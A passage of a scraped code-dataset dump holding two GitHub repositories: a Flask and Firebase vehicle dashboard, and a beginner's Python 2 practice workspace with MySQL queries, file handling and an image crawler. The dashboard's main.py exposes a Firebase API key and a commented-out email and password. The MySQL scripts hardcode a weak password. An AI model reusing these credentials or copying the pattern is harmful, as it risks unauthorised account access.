vehicles.each():\n\t\tv_obj = vehicle.val()\n\t\tv_arr = []\n\t\tfor k, v in v_obj.items():\n\t\t\tif(k!=\"img_data\"):\n\t\t\t\tv_arr.append(v)\n\t\t\telse:\n\t\t\t\tfor k_i,v_i in v.items():\n\t\t\t\t\tv_arr.append(v_i)\n\t\tvehicles_array.append(v_arr)\n\n\treturn vehicles_array\n\n# get_all_data_arrs()\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)"},{"alpha_fraction":0.7773972749710083,"alphanum_fraction":0.789383590221405,"avg_line_length":17.80645179748535,"blob_id":"267344d218439744998868fe747c32900728c25c","content_id":"b798861f893b880430d42ddeeffb355615715b6f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":584,"license_type":"no_license","max_line_length":81,"num_lines":31,"path":"/README.md","repo_name":"KhazanahAmericasInc/sensortower-dashboard","src_encoding":"UTF-8","text":"Displays the information on the sensortower in a web app.\n\nSetup instuctions:\n\n1.) Outside of the folder install virtualenv using:\n\npip3 install virtualenv\n\nThen create a virtual environment with:\n\nvirtualenv venv\n\n2.) Activate the virtual environment with:\n\nsource venv/bin/activate\n\n3.) Go into the folder and install the dependencies specified by requirements.txt\n\npip3 install -r requirements.txt\n\n4.) Run the application by running main.py with\n\n python3 main.py\n\nAlternatively, tell FLASK the entry point for your app:\n\nset FLASK_APP=main\n\nset FLASK_ENV=development\n\nflask run \n"}],"string":"[\n {\n \"alpha_fraction\": 0.6648044586181641,\n \"alphanum_fraction\": 0.6703910827636719,\n \"avg_line_length\": 26.55384635925293,\n \"blob_id\": \"a10ccbc9f6cac50ac988adde122ddfd8eebcf5e8\",\n \"content_id\": \"7836e3c932c02f14d407f480025af3269cba754e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1790,\n \"license_type\": \"no_license\",\n \"max_line_length\": 107,\n \"num_lines\": 65,\n \"path\": \"/main.py\",\n \"repo_name\": \"KhazanahAmericasInc/sensortower-dashboard\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from flask import Flask\\nfrom flask import render_template\\nimport pyrebase\\napp = Flask(__name__)\\n\\nconfig = {\\n\\t\\\"apiKey\\\": \\\"AIzaSyCUeQILRjIK7-3om5eyIWwFOYx4YPHOvaY\\\",\\n \\\"authDomain\\\": \\\"sensortower-dashboard.firebaseapp.com\\\",\\n \\\"databaseURL\\\": \\\"https://sensortower-dashboard.firebaseio.com\\\",\\n\\t\\\"storageBucket\\\": \\\"sensortower-dashboard.appspot.com\\\",\\n\\t\\\"serviceAccount\\\": \\\"./auth/sensortower-dashboard-firebase-adminsdk-xuy2n-65d15773de.json\\\" \\n}\\nfirebase = pyrebase.initialize_app(config)\\n\\n# auth = firebase.auth()\\n# user = auth.sign_in_with_email_and_password(\\\"khazanahamericas@gmail.com\\\", \\\"kai-2019\\\")\\n\\ndb=firebase.database()\\n\\n@app.route('/')\\ndef hello():\\n\\tvehicle_data = get_all_data()\\n\\tvehicle_data_arr = get_all_data_arrs()\\n\\treturn render_template(\\\"dashboard.html\\\", vehicle_data = vehicle_data, vehicle_data_arr = vehicle_data_arr)\\n\\n# def push_data(latitude, longitude):\\n# \\tnew_car = {\\\"name\\\": \\\"Car1\\\", \\\"location\\\": {\\\"latitude\\\":latitude,\\\"longitude\\\":longitude}}\\n# \\tdata={\\\"name\\\":\\\"test\\\"}\\n# \\tdb.child(\\\"cars-spotted\\\").push(new_car)\\n# \\tusers = db.child('cars-spotted').get()\\n# \\tprint(users.val())\\n# \\t# db.child(\\\"users\\\").push()\\n\\n# @app.route('/get_data', methods=[\\\"GET\\\", \\\"POST\\\"])\\ndef get_all_data():\\n\\tvehicles = db.child('vehicles').get()\\n\\tvehicles_array = []\\n\\tfor vehicle in vehicles.each():\\n\\t\\tvehicles_array.append(vehicle.val())\\n\\t# print(vehicles_array)\\n\\t# print(vehicles_array[0])\\n\\t# print(len(vehicles_array))\\n\\treturn vehicles_array\\n\\ndef get_all_data_arrs():\\n\\tvehicles = db.child('vehicles').get()\\n\\tvehicles_array = []\\n\\tfor vehicle in vehicles.each():\\n\\t\\tv_obj = vehicle.val()\\n\\t\\tv_arr = []\\n\\t\\tfor k, v in v_obj.items():\\n\\t\\t\\tif(k!=\\\"img_data\\\"):\\n\\t\\t\\t\\tv_arr.append(v)\\n\\t\\t\\telse:\\n\\t\\t\\t\\tfor k_i,v_i in v.items():\\n\\t\\t\\t\\t\\tv_arr.append(v_i)\\n\\t\\tvehicles_array.append(v_arr)\\n\\n\\treturn vehicles_array\\n\\n# get_all_data_arrs()\\n\\n\\nif __name__ == \\\"__main__\\\":\\n app.run(debug=True)\"\n },\n {\n \"alpha_fraction\": 0.7773972749710083,\n \"alphanum_fraction\": 0.789383590221405,\n \"avg_line_length\": 17.80645179748535,\n \"blob_id\": \"267344d218439744998868fe747c32900728c25c\",\n \"content_id\": \"b798861f893b880430d42ddeeffb355615715b6f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 584,\n \"license_type\": \"no_license\",\n \"max_line_length\": 81,\n \"num_lines\": 31,\n \"path\": \"/README.md\",\n \"repo_name\": \"KhazanahAmericasInc/sensortower-dashboard\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Displays the information on the sensortower in a web app.\\n\\nSetup instuctions:\\n\\n1.) Outside of the folder install virtualenv using:\\n\\npip3 install virtualenv\\n\\nThen create a virtual environment with:\\n\\nvirtualenv venv\\n\\n2.) Activate the virtual environment with:\\n\\nsource venv/bin/activate\\n\\n3.) Go into the folder and install the dependencies specified by requirements.txt\\n\\npip3 install -r requirements.txt\\n\\n4.) Run the application by running main.py with\\n\\n python3 main.py\\n\\nAlternatively, tell FLASK the entry point for your app:\\n\\nset FLASK_APP=main\\n\\nset FLASK_ENV=development\\n\\nflask run \\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978364,"cells":{"repo_name":{"kind":"string","value":"ArvinZhang/py-workspace"},"repo_url":{"kind":"string","value":"https://github.com/ArvinZhang/py-workspace"},"snapshot_id":{"kind":"string","value":"a45c42f7fd8b81d9b7d5a1a5a457a2074a66d9f4"},"revision_id":{"kind":"string","value":"043ddb19946bcfdbcf7185f03c01cd9823a4ea66"},"directory_id":{"kind":"string","value":"d23d00153e637406cd280a86396362e933e6f721"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-05T08:05:53.807879","string":"2020-04-05T08:05:53.807879"},"revision_date":{"kind":"timestamp","value":"2018-11-08T12:07:41","string":"2018-11-08T12:07:41"},"committer_date":{"kind":"timestamp","value":"2018-11-08T12:07:41","string":"2018-11-08T12:07:41"},"github_id":{"kind":"number","value":156700946,"string":"156,700,946"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.49625083804130554,"alphanum_fraction":0.5293115377426147,"avg_line_length":18.691274642944336,"blob_id":"586d86af39d85d1db6a4e437b9bacffcdf151db5","content_id":"96b05c230f5bdc62fd93cba88974af7b9bb79881","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2964,"license_type":"no_license","max_line_length":68,"num_lines":149,"path":"/App1/BasicMethod.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"# -*- coding: UTF-8 -*-\nimport time\nimport calendar\nimport datetime\nimport ConnectionDB\nimport LamdaFun\nfrom component import Script1\nfrom component import Script2\n\n# foreach operation\ndef styForeach(list2):\n for name in list2:\n # name += \" String append\"\n if name.endswith(\"append\"):\n print \"true\"\n continue\n else:\n print \"false\"\n print name\n\n\n# python 操作list集合练习\ndef styList():\n # list\n list = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\"];\n\n list1 = [\"a\", \"b\", \"c\", \"d\"];\n\n list2 = [\"Arvin\", \"tester1\", \"tester2\", \"other\"];\n\n # 输出指定的idex\n print 'println list ', list[1]\n\n # 输出index范围\n print 'println list ', list[1:5]\n\n print 'println list index 5 ', list[5]\n\n # update\n list2[0] = 'Zhang'\n\n print list2\n # remove\n del list2[3]\n # append\n list2.append(\"append list\")\n\n print \"my name is \", list2[0]\n return list2\n\n\n# tuple\ndef styTuple():\n tup1 = (\"Arvin\", \"Zhang\", \"Wu\", \"Xie\", \"Yuan\")\n tup2 = (1, 2, 3, 4, 5, 6, 7, 8)\n print \"tup1e length\", len(tup1)\n\n # 'tuple' object does not support item assignment\n # tup1[0]=\"chang\"\n\n for var in tup1:\n print var\n print tup1[1:]\n print tup1[-2]\n print \"max value\", max(tup2)\n print \"min value\", min(tup2)\n del tup1\n print \"after delete tuple\"\n # print tup1\n\n\ndef styDict():\n dict1 = {\"name\": \"wu\", \"age\": 18, \"occupation\": \"programmer\"};\n print type(dict1)\n\n if dict1.has_key(\"age\"):\n print \"find keys age\"\n\n print dict1.values()\n\n # print dict1.pop(\"age\")\n\n # add\n dict1['income'] = \"1W\"\n for row in dict1:\n\n print None == dict1.get(\"genar\")\n\n print \"set default:\", dict1.setdefault(row)\n\n if dict1.setdefault(\"age\") == 18:\n print \"find age is 18\"\n\n if \"age\" == row and int == type(dict1[row]):\n # find and update\n dict1[row] = 28\n else:\n print \"can't not found age\"\n print \"type is\", type(dict1[row])\n print row + \":\" + bytes(dict1[row])\n\n # copy dict\n dict2 = dict1.copy();\n # clear\n dict2.clear()\n\n print len(dict2)\n\n\ndef styTime():\n ticks = time.time()\n print ticks\n localTime = time.localtime(time.time())\n\n print time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime())\n\n print time.timezone\n cal=calendar.month(2018,11)\n\n print calendar.isleap(2020)\n print cal\n #datetime\n i=datetime.datetime.now();\n print i\n print i.year\n\ndef main():\n print \">>>>>>>>>>>>>>>>>>mian test start>>>>>>>>>>>>>>>>>>\"\n # var =styList()\n\n # styForeach(styList());\n\n # styTuple();\n\n #styDict();\n\n #styTime();\n\n #print LamdaFun.sum(1,2);\n\n #reload(LamdaFun)\n\n Script1.script1()\n\n Script2.script2()\n print \"<<<<<<<<<<<<<<<<<<mian test end<<<<<<<<<<<<<<<<<<\"\n\nif __name__ == '__main__':\n main()\n"},{"alpha_fraction":0.5723951458930969,"alphanum_fraction":0.575778067111969,"avg_line_length":20.420289993286133,"blob_id":"a6475215692e9dee517b4455315e7262d1f8720b","content_id":"36360e1ee6c52c37f7f5781fe280d3e37e6ac678","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1490,"license_type":"no_license","max_line_length":74,"num_lines":69,"path":"/App1/styio/ReadFile.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"# -*- coding: Utf-8 -*-\nimport os\n\n\ndef readfile():\n if os.path.exists(\"/Users/arvin.chang/Documents/gitfile.txt\"):\n print \"true\"\n else:\n print \"false\"\n\n if os.access(\"/Users/arvin.chang/Documents/gitfile.txt\", os.R_OK):\n print \"Given file path is exist.\"\n\n try:\n file = open(\"/Users/arvin.chang/Documents/gitfile.txt\", \"r+\")\n # print file.name\n print file.closed\n print file.mode\n print file.softspace\n\n print file.read()\n\n print \"当前文件位置 : \", file.tell()\n\n # file.seek(0,2)\n\n except IOError:\n print(\"File is not accessible.\")\n file.close()\n\n\ndef wirteFile():\n if os.access(\"/Users/arvin.chang/Documents/gitfile.txt\", os.W_OK):\n print \"Given file path is exist.\"\n\n try:\n file = open(\"/Users/arvin.chang/Documents/gitfile.txt\", \"a+\")\n\n str1 = \"this is test content\\n\"\n\n file.write(str1)\n except IOError:\n print \"File is not accessible\"\n\n finally:\n\n file.close()\n\n\ndef createFolder():\n os.mkdir(\"newdir\")\n os.rmdir(\"newdir\")\n os.remove(\"test.sh\")\n\n\ndef styWith():\n if not os.access(\"/Users/arvin.chang/Documents/gitfile.txt\", os.W_OK):\n print \"Given file path is not exist.\"\n return\n\n with open(\"/Users/arvin.chang/Documents/gitfile.txt\", \"r+\") as f:\n print \"file content\", f.read();\n\n\nif __name__ == '__main__':\n # readfile()\n # wirteFile()\n # createFolder()\n styWith()\n"},{"alpha_fraction":0.5416666865348816,"alphanum_fraction":0.6666666865348816,"avg_line_length":13.600000381469727,"blob_id":"4fb55f1890269fc78cb0ca743f85aa6e59fad1b0","content_id":"00fcb6b3465d8a64a08c54a5a0d231045a7189b9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":72,"license_type":"no_license","max_line_length":31,"num_lines":5,"path":"/App1/LamdaFun.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"#-*-conding:UTF-8-*-\n\nsum=lambda arg1,arg2:arg1*arg2\n\n#print sum(10,21)"},{"alpha_fraction":0.5248227119445801,"alphanum_fraction":0.5319148898124695,"avg_line_length":10.833333015441895,"blob_id":"d64e35ab2e8ce1bf3e39baa41ba08fdf37256b4e","content_id":"728fc30f1d6cd6980a07ed0d5790fe321296aa8a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":141,"license_type":"no_license","max_line_length":30,"num_lines":12,"path":"/App1/styio/MainTest.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"# -*- coding: UTF-8 -*-\nimport ReadInput\n\ndef main():\n print(\"main test process\")\n\n ReadInput\n\n\n\nif __name__ == '__main__':\n main()"},{"alpha_fraction":0.6440678238868713,"alphanum_fraction":0.6610169410705566,"avg_line_length":15.181818008422852,"blob_id":"ba22fc5268d0a8b1084d8cad77f394c4c88dd204","content_id":"9022fe093d43f259c1181eef8213fe515dd403b1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":177,"license_type":"no_license","max_line_length":30,"num_lines":11,"path":"/App1/styio/ReadInput.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"# -*- coding: UTF-8 -*-\n\n# read str content\nstr=raw_input(\"pls input: \")\nprint \"raw input content:\",str\n\n\n#read el content\nstr1=input(\"pls input:\" )\n\nprint \"input content:\",str1"},{"alpha_fraction":0.5552569627761841,"alphanum_fraction":0.5653342008590698,"avg_line_length":26.831775665283203,"blob_id":"40154087d5836bb133a96befe47d376a7425911a","content_id":"be50d2e00e4a5cb3248ca2eacfa2e5fe9708e86e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3049,"license_type":"no_license","max_line_length":117,"num_lines":107,"path":"/App1/QueryDB.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"# -*- coding: UTF-8 -*-\nimport MySQLdb\nimport traceback\n\n# open connection\ndb = MySQLdb.connect(\"localhost\", \"py\", \"123456\", \"pydb\");\n# 用cursor()方法获取操作游标\ncursor = db.cursor();\n# 使用execute方法执行SQL语句\n# cursor.execute(\"SELECT VERSION()\");\n\n# 使用 fetchone() 方法获取一条数据库。\n# data = cursor.fetchone();\n\n# print \"Database version : %s \" % data;\n\n# cursor.execute(\"DROP TABLE IF EXISTS TEST_DB\");\n\n# 创建数据表SQL语句\nsql = \"\"\"CREATE TABLE TEST_DB (\n FIRST_NAME CHAR(20) NOT NULL,\n LAST_NAME CHAR(20),\n AGE INT, \n SEX CHAR(10),\n INCOME FLOAT)\"\"\"\n\n# cursor.execute(sql);\n\n\n# insert\ninsert_sql = \"\"\"insert into TEST_DB(FIRST_NAME,LAST_NAME,AGE,SEX,INCOME)VALUES ('arvin','Chang',26,'male',1000.0);\"\"\"\n\n# try:\n# count=0;\n# for index in range(1,20):\n# data=cursor.execute(insert_sql);\n# count+=data;\n# print count;\n# db.commit();\n# except Exception, e:\n# print 'str(Exception):\\t', str(Exception)\n# print 'str(e):\\t\\t', str(e)\n# print 'repr(e):\\t', repr(e)\n# print 'e.message:\\t', e.message\n# print 'traceback.print_exc():'; traceback.print_exc()\n# print 'traceback.format_exc():\\n%s' % traceback.format_exc()\n# db.rollback();\n\nupdate_sql = \"\"\"update TEST_DB set age=28\"\"\"\n# try:\n# data=cursor.execute(update_sql);\n# print data;\n# db.commit();\n# except Exception,e:\n# print 'str(Exception):\\t', str(Exception)\n# print 'str(e):\\t\\t', str(e)\n# print 'repr(e):\\t', repr(e)\n# print 'e.message:\\t', e.message\n# print 'traceback.print_exc():'; traceback.print_exc()\n# print 'traceback.format_exc():\\n%s' % traceback.format_exc()\n# db.rollback();\n\nquery_testdb_sql = \"\"\"select * from test_db\"\"\"\n\ntry:\n cursor.execute(query_testdb_sql);\n results = cursor.fetchall();\n\n list_test = list();\n\n for row in results:\n frist_name = row[0];\n last_name = row[1];\n age = row[2];\n sex = row[3];\n # print frist_name,sex;\n # testDB=TestDB;\n # testDB.first_name=frist_name;\n # testDB.last_name=last_name;\n # testDB.age=age;\n # list_test.__add__(testDB);\n li = {'first_name': frist_name, 'last_name': last_name, 'age': age, 'sex': sex};\n list_test.append(li);\n print list_test.__len__();\n print list_test;\n for li in list_test:\n if li.get('first_name') == 'arvin':\n print li.get('first_name')\n else:\n print 'false'\n\n if li.has_key('last_name'):\n print 'has key last_name'\n else:\n print 'not found key last_name'\nexcept Exception, e:\n print 'str(Exception):\\t', str(Exception)\n print 'str(e):\\t\\t', str(e)\n print 'repr(e):\\t', repr(e)\n print 'e.message:\\t', e.message\n print 'traceback.print_exc():';\n traceback.print_exc()\n print 'traceback.format_exc():\\n%s' % traceback.format_exc()\n db.rollback();\n\n# close connection\ndb.close();"},{"alpha_fraction":0.5072463750839233,"alphanum_fraction":0.5507246255874634,"avg_line_length":16.25,"blob_id":"015561534a5da184440a8a765ca25222b80a4870","content_id":"3b8cf5673438f620d01a1a96058e0fa35055d2b5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":69,"license_type":"no_license","max_line_length":29,"num_lines":4,"path":"/App1/component/Script1.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"# -*- coding:UTF-8 -*-\n\ndef script1():\n print \"this is script 1\"\n"},{"alpha_fraction":0.4010416567325592,"alphanum_fraction":0.40625,"avg_line_length":8,"blob_id":"6a6744112f995624d18ef756dde21a322c379268","content_id":"279836892b721cd45db9ffadbf1af7adee143b08","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":380,"license_type":"no_license","max_line_length":38,"num_lines":21,"path":"/App1/rename_images_script.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"#-*- coding: UTF-8 -*-\n\n'''\n读取指定目录下的所有文件对名字做修改\n'''\n\n\n# 遍历指定目录，显示目录下的所有文件名\n\n\n\nif __name__ == '__main__':\n\n print \"》》》》》》》》》》开始处理图片《《《《《《《《《《《《《\"\n\n\n\n\n\n\n print \"》》》》》》》》》》始处理图片结束《《《《《《《《《《《《\"\n\n\n\n"},{"alpha_fraction":0.47454702854156494,"alphanum_fraction":0.5168248414993286,"avg_line_length":16.560606002807617,"blob_id":"bcaf8e031ef4c9c69060286aa1dbda5fb72ec570","content_id":"5f5e119060ff46ebefc42b35dda47f88ca4cbbf6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1165,"license_type":"no_license","max_line_length":52,"num_lines":66,"path":"/App1/functions/Utils.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"# -*- coding: Utf-8 -*-\n\ndef funs():\n tuple1 = (\"1\", \"2\", \"3\", \"a\", \"b\", 0);\n\n print \"bulid in function\"\n print \"absolute value\", abs(-998)\n print \"all method:\", all(tuple1)\n for row in tuple1:\n\n if str == type(row):\n\n print ord(row)\n else:\n print \"not str\", row\n # hash code\n # print hash(row)\n print memoryview(row)\n\n\nclass Demo1(object):\n @staticmethod\n def outPrint():\n print \"this is static method\"\n\n\nclass Demo2(object):\n def outPrint(self):\n print \"this is general method\";\n\n\nclass Demo3(object):\n\n def __init__(self):\n pass\n\n\ndef sty_map():\n print map(lambda x: x * 10, [1, 3, 8, 9, 87])\n\n\ndef styFilter():\n print filter(lambda x:x>10,[10,19,18,29,8,9,23])\n\ndef sty_zip():\n tuple1=(1,2,3);\n tuple2 = (\"a\", \"b\", \"c\");\n tuple3 = (\"我\", \"是\", \"谁\");\n zipped=zip(tuple1, tuple2,tuple3)\n print zipped\n print zip(*zipped)\n\n\n\nif __name__ == '__main__':\n\n # funs()\n # static method\n # Demo1.outPrint()\n\n # general method\n # demo2 = Demo2()\n # demo2.outPrint()\n # sty_map()\n # styFilter()\n sty_zip()\n"},{"alpha_fraction":0.5072463750839233,"alphanum_fraction":0.5507246255874634,"avg_line_length":16.25,"blob_id":"212ac17449b59c6f0c461011cda4410de67b1658","content_id":"28bc5ccf1d500df228a24eaf4871c501212cfc81","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":69,"license_type":"no_license","max_line_length":29,"num_lines":4,"path":"/App1/component/Script2.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"# -*- coding:UTF-8 -*-\n\ndef script2():\n print \"this is script 2\"\n"},{"alpha_fraction":0.739130437374115,"alphanum_fraction":0.739130437374115,"avg_line_length":10.5,"blob_id":"3a303cc56b30507fc4af8a16ed2455fa62e14da9","content_id":"67d31cbf30f04ebe48bf085da80947b1b245d922","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":23,"license_type":"no_license","max_line_length":14,"num_lines":2,"path":"/README.md","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"# py-workspace\nstay py\n"},{"alpha_fraction":0.7246376872062683,"alphanum_fraction":0.739130437374115,"avg_line_length":22.33333396911621,"blob_id":"28c0833b18aa867fe0dd8723a02ebb5f0994eb91","content_id":"c41ec21804ec6e1c4333841153a0a47d0ed1485f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":69,"license_type":"no_license","max_line_length":53,"num_lines":3,"path":"/App1/Helloword.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"# coding utf-8\n\nprint('hello world ,this is my first python pargram')"},{"alpha_fraction":0.5516840815544128,"alphanum_fraction":0.5609756112098694,"avg_line_length":19.5238094329834,"blob_id":"83c5475233b377a7d85a505cea31cd0ed76811b9","content_id":"73b7bf196efc6f3aecfd8be358e0ab5f23024f7d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":861,"license_type":"no_license","max_line_length":104,"num_lines":42,"path":"/App1/DouBanCrawler.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"# coding utf-8\nimport urllib\nimport re\nfrom __builtin__ import str\n\npath = \"/Users/arvin.chang/Images/webCrawler/\";\n\n\ndef getHTMLByURL(url):\n print url;\n page = urllib.urlopen(url);\n html = page.read();\n return html;\n\n\ndef getImg(html):\n # print html;\n reg = r'src=\"(.+?\\.jpg)\"'\n imgre = re.compile(reg);\n imgList = re.findall(imgre, html);\n print imgList;\n return imgList;\n\n\ndef wirteImg(imgList, x):\n y = 1;\n for imgurl in imgList:\n print imgurl\n z = str(x) + \"-\" + str(y);\n urllib.urlretrieve(imgurl, path + '%s.jpg' % z);\n y += 1;\n\n\ndef main():\n for index in range(1, 20):\n html = getHTMLByURL(\"http://www.dbmeinv.com/dbgroup/show.htm?cid=6&pager_offset=\" + str(index));\n # wirteImg(getImg(html),index);\n index += 1;\n\n\nif __name__ == '__main__':\n main();"},{"alpha_fraction":0.5561097264289856,"alphanum_fraction":0.5660848021507263,"avg_line_length":16.434782028198242,"blob_id":"c0befbf0bd2c8a6e002d77044a4913b8a58e095b","content_id":"9655d3c0fbbe2208327b0919878797c92602229b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":401,"license_type":"no_license","max_line_length":61,"num_lines":23,"path":"/App1/exception/styException.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"# -*- coding: Utf-8 -*-\n\ndef styExc(args1):\n try:\n\n print \"\", int(args1)\n\n raise BussniessException,\"this is BussniessException\"\n\n except BaseException,e:\n print \"exception:\",e\n\n else:\n print \"no exception\"\n\n\nclass BussniessException(RuntimeError):\n def __init__(self, arg):\n self.args = arg\n print arg\n\nif __name__ == '__main__':\n styExc(5)\n"},{"alpha_fraction":0.543749988079071,"alphanum_fraction":0.5687500238418579,"avg_line_length":16.14285659790039,"blob_id":"8a81c7c426be19213c980a82ef88b7ccb7a35af8","content_id":"197096cfb66fb63f1b628270c40f5aaec6344c09","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":498,"license_type":"no_license","max_line_length":61,"num_lines":28,"path":"/App1/ConnectionDB.py","repo_name":"ArvinZhang/py-workspace","src_encoding":"UTF-8","text":"# -*- coding: UTF-8 -*-\n\nimport MySQLdb\n\n\ndef connctionMySQL():\n # open connection\n db = MySQLdb.connect(\"localhost\", \"py\", \"123456\", \"pydb\")\n\n # 用cursor()方法获取操作游标\n cursor = db.cursor()\n\n query_sql = \"\"\"select * from test_db limit 10\"\"\"\n\n cursor.execute(query_sql)\n\n results = cursor.fetchall ()\n\n for row in results:\n print row[2]\n print id(row[2])\n print row[4]\n\n # len\n print len(results)\n\n cursor.close()\n db.close()\n"}],"string":"[\n {\n \"alpha_fraction\": 0.49625083804130554,\n \"alphanum_fraction\": 0.5293115377426147,\n \"avg_line_length\": 18.691274642944336,\n \"blob_id\": \"586d86af39d85d1db6a4e437b9bacffcdf151db5\",\n \"content_id\": \"96b05c230f5bdc62fd93cba88974af7b9bb79881\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2964,\n \"license_type\": \"no_license\",\n \"max_line_length\": 68,\n \"num_lines\": 149,\n \"path\": \"/App1/BasicMethod.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: UTF-8 -*-\\nimport time\\nimport calendar\\nimport datetime\\nimport ConnectionDB\\nimport LamdaFun\\nfrom component import Script1\\nfrom component import Script2\\n\\n# foreach operation\\ndef styForeach(list2):\\n for name in list2:\\n # name += \\\" String append\\\"\\n if name.endswith(\\\"append\\\"):\\n print \\\"true\\\"\\n continue\\n else:\\n print \\\"false\\\"\\n print name\\n\\n\\n# python 操作list集合练习\\ndef styList():\\n # list\\n list = [\\\"1\\\", \\\"2\\\", \\\"3\\\", \\\"4\\\", \\\"5\\\", \\\"6\\\", \\\"7\\\", \\\"8\\\"];\\n\\n list1 = [\\\"a\\\", \\\"b\\\", \\\"c\\\", \\\"d\\\"];\\n\\n list2 = [\\\"Arvin\\\", \\\"tester1\\\", \\\"tester2\\\", \\\"other\\\"];\\n\\n # 输出指定的idex\\n print 'println list ', list[1]\\n\\n # 输出index范围\\n print 'println list ', list[1:5]\\n\\n print 'println list index 5 ', list[5]\\n\\n # update\\n list2[0] = 'Zhang'\\n\\n print list2\\n # remove\\n del list2[3]\\n # append\\n list2.append(\\\"append list\\\")\\n\\n print \\\"my name is \\\", list2[0]\\n return list2\\n\\n\\n# tuple\\ndef styTuple():\\n tup1 = (\\\"Arvin\\\", \\\"Zhang\\\", \\\"Wu\\\", \\\"Xie\\\", \\\"Yuan\\\")\\n tup2 = (1, 2, 3, 4, 5, 6, 7, 8)\\n print \\\"tup1e length\\\", len(tup1)\\n\\n # 'tuple' object does not support item assignment\\n # tup1[0]=\\\"chang\\\"\\n\\n for var in tup1:\\n print var\\n print tup1[1:]\\n print tup1[-2]\\n print \\\"max value\\\", max(tup2)\\n print \\\"min value\\\", min(tup2)\\n del tup1\\n print \\\"after delete tuple\\\"\\n # print tup1\\n\\n\\ndef styDict():\\n dict1 = {\\\"name\\\": \\\"wu\\\", \\\"age\\\": 18, \\\"occupation\\\": \\\"programmer\\\"};\\n print type(dict1)\\n\\n if dict1.has_key(\\\"age\\\"):\\n print \\\"find keys age\\\"\\n\\n print dict1.values()\\n\\n # print dict1.pop(\\\"age\\\")\\n\\n # add\\n dict1['income'] = \\\"1W\\\"\\n for row in dict1:\\n\\n print None == dict1.get(\\\"genar\\\")\\n\\n print \\\"set default:\\\", dict1.setdefault(row)\\n\\n if dict1.setdefault(\\\"age\\\") == 18:\\n print \\\"find age is 18\\\"\\n\\n if \\\"age\\\" == row and int == type(dict1[row]):\\n # find and update\\n dict1[row] = 28\\n else:\\n print \\\"can't not found age\\\"\\n print \\\"type is\\\", type(dict1[row])\\n print row + \\\":\\\" + bytes(dict1[row])\\n\\n # copy dict\\n dict2 = dict1.copy();\\n # clear\\n dict2.clear()\\n\\n print len(dict2)\\n\\n\\ndef styTime():\\n ticks = time.time()\\n print ticks\\n localTime = time.localtime(time.time())\\n\\n print time.strftime(\\\"%Y-%m-%d %H:%M:%S\\\",time.localtime())\\n\\n print time.timezone\\n cal=calendar.month(2018,11)\\n\\n print calendar.isleap(2020)\\n print cal\\n #datetime\\n i=datetime.datetime.now();\\n print i\\n print i.year\\n\\ndef main():\\n print \\\">>>>>>>>>>>>>>>>>>mian test start>>>>>>>>>>>>>>>>>>\\\"\\n # var =styList()\\n\\n # styForeach(styList());\\n\\n # styTuple();\\n\\n #styDict();\\n\\n #styTime();\\n\\n #print LamdaFun.sum(1,2);\\n\\n #reload(LamdaFun)\\n\\n Script1.script1()\\n\\n Script2.script2()\\n print \\\"<<<<<<<<<<<<<<<<<<mian test end<<<<<<<<<<<<<<<<<<\\\"\\n\\nif __name__ == '__main__':\\n main()\\n\"\n },\n 